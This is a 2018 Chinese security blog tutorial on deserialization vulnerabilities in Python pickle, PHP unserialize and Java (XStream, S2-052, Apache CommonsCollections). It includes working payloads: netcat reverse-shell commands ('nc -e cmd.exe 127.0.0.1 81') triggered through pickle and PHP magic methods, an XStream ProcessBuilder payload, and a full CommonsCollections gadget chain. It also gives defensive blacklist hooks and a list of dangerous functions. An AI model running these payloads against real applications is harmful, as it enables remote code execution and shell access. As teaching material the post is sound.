美文网首页网络安全实验室
关于反序列化攻击方法探究

关于反序列化攻击方法探究

作者: 蚁景科技 | 来源:发表于2018-10-25 10:27 被阅读109次

本文为原创文章,转载请注明出处!


grammar_cjkRuby: true

反序列化存在于各个开发语言的web应用,PHP、Python、Java都无一例外,趁着假期闲着无聊总结一下

 Python 反序列化漏洞

 简介

Python的主流序列化方式有两种Pickle&Json这里介绍由于Pickle的错误使用造成的漏洞利用

 成因

Python 中的pickle模块是可以将各种对象序列化存储的,可支持的序列化对象有整型、浮点、元组、数组、函数、类等。这里之所以产生漏洞其原因是可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发 __reduce__函数从而触发自己的恶意代码。看一下利用方法

 利用

Python Pickle 序列化函数有三类分别如下:

import pickle

import cPickle as pickle

from pickle import Pickle

from pickle import Unpickle

最后一种只能存储到文件,不可以到内存

具体的利用方法呢有两种形式 1. 利用 __del__ 魔法函数 触发恶意代码 2. 利用 __reduce__触发反序列化重构

情况1 析构函数触发

触发条件比较苛刻,在攻击对象中必须自己包含析构函数,如下代码 Generate.py

import pickle

class test(object):

   def __init__(self):

       self.a = "nc -e cmd.exe 127.0.0.1 81"

with open('log','wb') as f:

   pickle.dump(test(),f)

Test.py

import pickle

import os

class test(object):

   def __init__(self):

       pass

   def __del__(self):

      os.system(self.a)

with open('log','r') as f:

   pickle.load(f)

情况2 利用reduce魔法函数

利用reduce魔法函数重构序列化类,需要注意的是反序列化之后要使用的模块必须由反序列化函数提供,也就是说即使在Test.py中存在着该模块reduce函数中也不能引用,这一点比较关键。

Generate.py

import pickle

class test(object):

   def __reduce__(self):

       return eval,("__import__('os').system('nc -e cmd 127.0.0.1 81')",)

with open('log','wb') as f:

   pickle.dump(test(),f)

import pickle

import subprocess

class test(object):

   def __reduce__(self):

       return subprocess.call,("nc -e cmd.exe 127.0.0.1 81 ",)

with open('log','wb') as f:

   pickle.dump(test(),f)

Test.py

import pickle

with open('log', 'r') as f:

   pickle.load(f)

防范

那么有了这个攻击思想怎么去防范呢,其实方法很简单就是在反序列化之前查看,反序列化内容有没有关键字。这里介绍两种防范方法

1 @装饰器

import pickle

from functools import wraps

black_list = ['subprocess']

def __HookPickle__(func):

   @wraps(func)

   def f(*args):

       data = args[0].read()

       for i in black_list:

           if i in data:

               exit()

       args[0].seek(0)

       return func(*args)

   return f

@__HookPickle__

def load(f):

   return pickle.load(f)

with open('log', 'r') as f:

   load(f)

2 直接过滤

这里直接将反序列化调用的REDUCE参数 进行过滤从而达到防范的目的

unpkler.dispatch[REDUCR] 其中REDUCE='R'  然而unpkler.dispatch['R'] = reload_reduce

reload_reduce函数见下图

_hook_call 其实封装的是reload_reduce函数......

from os import *

from sys import *

from pickle import *

from io import open as Open

from pickle import Unpickler as Unpkler

from pickle import Pickler as Pkler

black_type_list = [eval]

class FilterException(Exception):

   def __init__(self, value):

       super(FilterException, self).__init__(

           'the callable object {value} is not allowed'.format(value=str(value)))

def _hook_call(func):

   def wrapper(*args, **kwargs):

       print args[0].stack

       if args[0].stack[-2] in black_type_list:

           raise FilterException(args[0].stack[-2])

       return func(*args, **kwargs)

   return wrapper

def LOAD(file):

   unpkler = Unpkler(file)

   unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])

   return Unpkler(file).load()

with Open("test","rb") as f:

   LOAD(f)

最后的最后你需要一个black_list ,这里提供一个

[eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,

                  tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,

                  lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,

                  rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,

                  execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,

                  spawnv, spawnve, spawnvp, spawnvpe, load, loads, subprocess, commands]

 PHP 反序列化漏洞

 简介

PHP反序列化漏洞虽然利用的条件比Python的反序列化苛刻的多,其原因在于没有向python 魔法函数reduce那样重构一个类,因此必须有成熟的条件后才能进行攻击,同时也限定了PHP的反序列化漏洞理解起来比较简单。目前在网上有许多关于PHP的反序列化漏洞解析,这里介绍一种新的利用方法。

成因

和python 反序列化第一种成因是一样的,由于触发魔法函数造成恶意代码执行。在PHP中主要序列化函数是serialize(),unserialize(),在执行unserialize后会触发 析构函数或是wakeup函数。根本原因还是由于class的魔法函数

构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

析构函数__destruct():当对象被销毁时会自动调用。

__wakeup() :如前所提,unserialize()时会自动调用。

利用

简单利用

<?php

/**

*

*/

class test

{

   function __destruct(){

       echo `nc -e cmd.exe 127.0.0.1 81`;

   }

}

$s = 'O:4:"test":0:{}';

unserialize($s);

?>

<?php

/**

*

*/

class test

{

   function __wakeup(){

       echo `nc -e cmd.exe 127.0.0.1 81`;

   }

}

// $a = new test();

$s = 'O:4:"test":0:{}';

// echo $s;

unserialize($s);

?>

命名空间反序列化运用

<?php

namespace controllers;

class User

{

   function __destruct()

   {

       echo `nc -e cmd.exe 127.0.0.1 81`;

   }

}

$a = 'O:16:"controllers\User":0:{}';

unserialize($a);

和上面的效果是一样的

防范

严格使用魔法函数,检查用户的输入,永远不要相信用户的输入

Java 反序列化漏洞

简介

Java的反序列化漏洞影响非常严重,对于Java来说序列化是将一个对象转换成其他可存储的格式比如二进制字符串、XML、Json格式等。因此在Java的反序列化漏洞中主要有三种利用方式

ObjectIntputStream 对二进制字符串进行反序列化

xstream 对xml进行反序列化

fastjson.JSON 对json数据进行反序列化

每一类型的触发方式不是很相同 可以将Java 反序列化漏洞归结如下

第一种

JAVA Apache-CommonsCollections 序列化漏洞

第二种

structs2-052 xstream

Weblogic XMLdecoder

第三种

Fastjson反序列化漏洞

成因

本文先针对1、2种情况进行漏洞分析 第一种情况,ObjectIntputStream在反序列化对象时会调用readObject方法,如果readObject方法中有危险函数就可能造成命令执行 第二种情况,xstream在进行xml格式解析时会重构对象从而使恶意代码执行

利用

先分析两个demo ,接着用两个真实的cve介绍漏洞的成因

1. Serializable

import java.io.*;

public class test{

   public static void main(String args[]) throws Exception{

       MySerializable Unsafe = new MySerializable();

       Unsafe.name = "Only Test";

       FileOutputStream fos = new FileOutputStream("object");

       ObjectOutputStream os = new ObjectOutputStream(fos);

       //将对象序列化存入文件

       os.writeObject(Unsafe);

       os.close();

       //从文件中读取序列化内容并反序列化

       FileInputStream fis = new FileInputStream("object");

       ObjectInputStream ois = new ObjectInputStream(fis);

       //恢复对象

       MySerializable objectFromDisk = (MySerializable)ois.readObject();

       System.out.println(objectFromDisk.name);

       ois.close();

   }

}

class MySerializable implements Serializable{

   public String name;

   //重写readObject 反序列化方法

   private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{

       //执行默认的readObject()方法

       in.defaultReadObject();

       //触发恶意代码

       Runtime.getRuntime().exec("calc");

   }

}

MySerializable 实现了Serializable接口将readObject 方法重写并且其中包含了弹出计算器的代码,在反序列化的时候会触发该函数并弹出计算器

2. xstream

payload构造方法

git clone https://github.com/mbechler/marshalsec.git

mvn clean package -DskipTests

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc

xstream的反序列化确实可以造成命令执行,如下代码

import java.io.IOException;

import com.thoughtworks.xstream.XStream;

import com.thoughtworks.xstream.io.xml.DomDriver;

import java.beans.EventHandler;

import java.util.Set;

import java.util.TreeSet;

public class Main {

   public static void main(String[] args) throws IOException {

       XStream xstream = new XStream();

       String payload = "<map><entry><jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command><string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/></entry></map>";

       xstream.fromXML(payload);

   }

}

xstream从xml中解析出对象后执行恶意代码

两种类型的漏洞

Structs2-052

漏洞存在于structs2-rest-plugin-2.5.12中

从请求数据中获得request请求内容,以文件的方式尽心读取,将对象传递给handler.toObject的方法,此时的handler是XStreamHandler 其方法如下

成功触发xstream的fromxml方法。有个这个分析payload的利用方式就简单了

从xml到命令执行还没有搞懂,有时间继续搞一搞

Apache commons-collection.jar

趁着放假,把该漏洞从头到尾的复现了一遍,受影响的的web应用有JBoss等 其根本原因是 org.apache.commons.collections.functors.InvokerTransformer存在反射执行函数,并且在 其中有触发java反射机制 其中的transform函数起到关键作用

可以实现执行input 对象中iMethodName方法并且以iArgs为参数 那么怎么做到命令执行呢

       Transformer trans = new InvokerTransformer("append",new Class[]{String.class},new Object[]{"xxx"});

       Object a = trans.transform(new StringBuffer("asd"));

       System.out.print(a);

可以看到主要是transform进行命令执行,如果想要执行系统命令需要什么指令

Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{});  

有多层包含关系,那么可以利用java的ChainedTransformer进行命令执行

可以看到执行链,一层套一层,第一层的object将带入第二层以此类推

那么可以构造以下payload

package test;

import java.io.File;

import java.io.FileOutputStream;

import java.util.HashMap;

import java.util.Map;

import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

public class orign {

   public static void main(String[] args) {

       Transformer[] transformers = new Transformer[]{

           new ConstantTransformer(Runtime.class),

           new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},

                   new Object[]{"getRuntime", new Class[0]}),

           new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},

                   new Object[]{null, new Object[0]}),

           new InvokerTransformer("exec", new Class[]{String.class},

                   new Object[]{"calc"})

       };

       Transformer chain = new ChainedTransformer(transformers) ;

       chain.transform("xx");

       }

}

目前找到了触发恶意代码的方式,那么回过头想一想反序列化与transform函数之间还需要什么东西去连接

接下来就是寻找一个类继承Serializbale接口 包含readObject方法并且该方法中包含触发transform函数的方式

巧妙的是在TransformedMap(是Map的子类)中正好有一个setValu可以触发transform方法 此时关系图就变成了下图

此时如果有某个类的readObject方法含有Map 迭代的话 并且执行了setValue函数就完美了。

凑巧的是真有这样的类,在 sun.reflect.annotation.AnnotationInvocationHandler中

 该类的源码地址

 http://www.docjar.com/html/api/sun/reflect/annotation/AnnotationInvocationHandler.java.html 该类继承了Serializable并冲写了readObject方法

最后在setValue函数处触发,至此构成了完整的利用链,见下图

为了方便演示将Person代替AnnotationInvocationHandler类进行处理

// Person.java

package test;

import java.io.IOException;

import java.io.Serializable;

import java.security.KeyStore.Entry;

import java.util.Map;

public class Person implements Serializable{

   private String name;

   public Map map;

   private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException,IOException{

       in.defaultReadObject();

       if(map != null){

           Map.Entry a = (Map.Entry) map.entrySet().iterator().next();

           a.setValue("what?");

       }

   }

}

生成序列化文件

//Generate.java

package test;

import java.io.File;

import java.io.FileOutputStream;

import java.io.ObjectOutputStream;  

import java.util.Map;

import java.util.HashMap;  

import java.lang.annotation.Target;

import java.lang.reflect.Constructor;  

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.map.TransformedMap;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

public class TransformTest {

   public static Object getAnnotationInvocationHandler(String command) throws Exception {

       String[] execArgs = command.split(",");

       Transformer[] transformers = new Transformer[] {

               new ConstantTransformer(Runtime.class),

               new InvokerTransformer("getMethod", new Class[] {

                       String.class, Class[].class }, new Object[] {

                       "getRuntime", new Class[0] }),

               new InvokerTransformer("invoke", new Class[] {

                       Object.class, Object[].class }, new Object[] {

                       null, new Object[0] }),

               new InvokerTransformer("exec", new Class[] {

                       String.class }, new Object[] {"calc.exe"})};

       Transformer transformerChain = new ChainedTransformer(transformers);

       Map tempMap = new HashMap();

       tempMap.put("value", "value");//这里不能少要不然setValue 会执行出错

       Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);

       //setValue会触发transform方法

//        Map.Entry onlyElement = (Map.Entry) exMap.entrySet().iterator().next();

//        onlyElement.setValue("foobar");

       Person p = new Person();

       p.map = exMap;

       return p;

   }  

   public static void main(String[] args) throws Exception {

       String command = (args.length != 0) ? args[0] : "calc.exe";

       Object obj = getAnnotationInvocationHandler(command);

       File f = new File("bbb");

       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));

       out.writeObject(obj);

   }

}

反序列化触发漏洞

//unserialize.java

package test;

import java.io.FileInputStream;

import java.io.ObjectInputStream;

import java.lang.reflect.Method;

public class unserialize {

   public static void main(String[] args) throws Exception {

       FileInputStream in;

       try {

           in = new FileInputStream("bbb");

           ObjectInputStream ins = new ObjectInputStream(in);

           ins.readObject();

       } catch (Exception e) {

           // TODO: handle exception

       }

   }

}

这就是整个的攻击流程总体来讲的话,反序话会触发对象readObject函数 ,恰巧在该函数中有能够触发反射链的Map.Entry setValue函数,从而造成了恶意代码执行。

这里给出测试样例地址 https://github.com/actionyz/vulhub/tree/master/Serialize

防范

对于xml的反序列化攻击可以添加对xstream反序列化的限制

对于commons-collections 将 java.io.ObjectInputStream 反序列化操作替换成SerialKiller,这样就可以利用白名单黑名单进行过滤。

参考资料

探秘Java反序列化漏洞一:序列化与反序列化 rui0.cn/archives/924 Java 反序列化漏洞从无到有 http://www.freebuf.com/column/155381.html Java反序列化漏洞从入门到深入 https://xz.aliyun.com/t/2041 S2-052从Payload到执行浅析 http://www.freebuf.com/vuls/147170.html common-collections中Java反序列化漏洞导致的RCE原理分析 http://www.91ri.org/14522.html Commons Collections Java反序列化漏洞深入分析 https://security.tencent.com/index.php/blog/msg/97


文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

相关文章

网友评论

    本文标题:关于反序列化攻击方法探究

    本文链接:https://www.haomeiwen.com/subject/wjrqtqtx.html